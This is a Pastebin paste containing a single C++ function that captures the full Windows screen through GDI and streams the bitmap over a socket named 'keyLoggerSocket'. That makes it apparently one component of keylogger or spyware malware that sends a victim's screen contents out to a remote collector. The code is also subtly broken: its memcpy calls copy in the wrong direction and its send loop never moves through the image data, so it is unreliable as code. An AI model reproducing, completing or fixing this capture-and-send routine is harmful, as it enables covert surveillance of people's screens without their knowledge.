Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- void sendScreenshot() {
- unsigned int cx = GetSystemMetrics(SM_CXSCREEN), cy = GetSystemMetrics(SM_CYSCREEN);
- HDC hScreenDC = ::GetDC(NULL);
- HDC hMemDC = CreateCompatibleDC(hScreenDC);
- HBITMAP hBitmap = CreateCompatibleBitmap(hScreenDC, cx, cy);
- HBITMAP hOldBitmap = (HBITMAP)SelectObject(hMemDC, hBitmap);
- BitBlt(hMemDC, 0, 0, cx, cy, hScreenDC, 0, 0, SRCCOPY);
- SelectObject(hMemDC, hOldBitmap);
- ::ReleaseDC(NULL, hScreenDC);
- size_t headerSize = sizeof(BITMAPINFOHEADER) + 3 * sizeof(RGBQUAD);
- BYTE* pHeader = new BYTE[headerSize];
- LPBITMAPINFO pbmi = (LPBITMAPINFO)pHeader;
- memset(pHeader, 0, headerSize);
- pbmi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
- pbmi->bmiHeader.biBitCount = 0;
- if (!GetDIBits(hMemDC, hBitmap, 0, 0, NULL, pbmi, DIB_RGB_COLORS))
- return;
- BITMAPFILEHEADER bmf;
- if (pbmi->bmiHeader.biSizeImage <= 0)
- pbmi->bmiHeader.biSizeImage = pbmi->bmiHeader.biWidth*abs(pbmi->bmiHeader.biHeight)*(pbmi->bmiHeader.biBitCount + 7) / 8;
- BYTE* pData = new BYTE[pbmi->bmiHeader.biSizeImage];
- bmf.bfType = 0x4D42; bmf.bfReserved1 = bmf.bfReserved2 = 0;
- bmf.bfSize = sizeof(BITMAPFILEHEADER) + headerSize + pbmi->bmiHeader.biSizeImage;
- bmf.bfOffBits = sizeof(BITMAPFILEHEADER) + headerSize;
- if (!GetDIBits(hMemDC, hBitmap, 0, abs(pbmi->bmiHeader.biHeight), pData, pbmi, DIB_RGB_COLORS))
- {
- delete pData;
- return;
- }
- char* buf = new char[sizeof(BITMAPFILEHEADER)];
- memcpy(&bmf, buf, sizeof(BITMAPFILEHEADER));
- send(keyLoggerSocket, buf, sizeof(BITMAPFILEHEADER), 0);
- delete[] buf;
- buf = new char[sizeof(BITMAPINFOHEADER) + 3 * sizeof(RGBQUAD)];
- memcpy(pbmi, buf, sizeof(BITMAPINFOHEADER) + 3 * sizeof(RGBQUAD));
- send(keyLoggerSocket, buf, sizeof(BITMAPINFOHEADER) + 3 * sizeof(RGBQUAD), 0);
- delete[] buf;
- buf = new char[4098];
- unsigned long long bitsToSend = pbmi->bmiHeader.biSizeImage;
- unsigned long long bitsSent = 0;
- while (bitsSent < bitsToSend) {
- memcpy(pData, buf, 4098);
- send(keyLoggerSocket, buf, 4098, 0);
- bitsSent += 4098;
- }
- delete[] buf;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement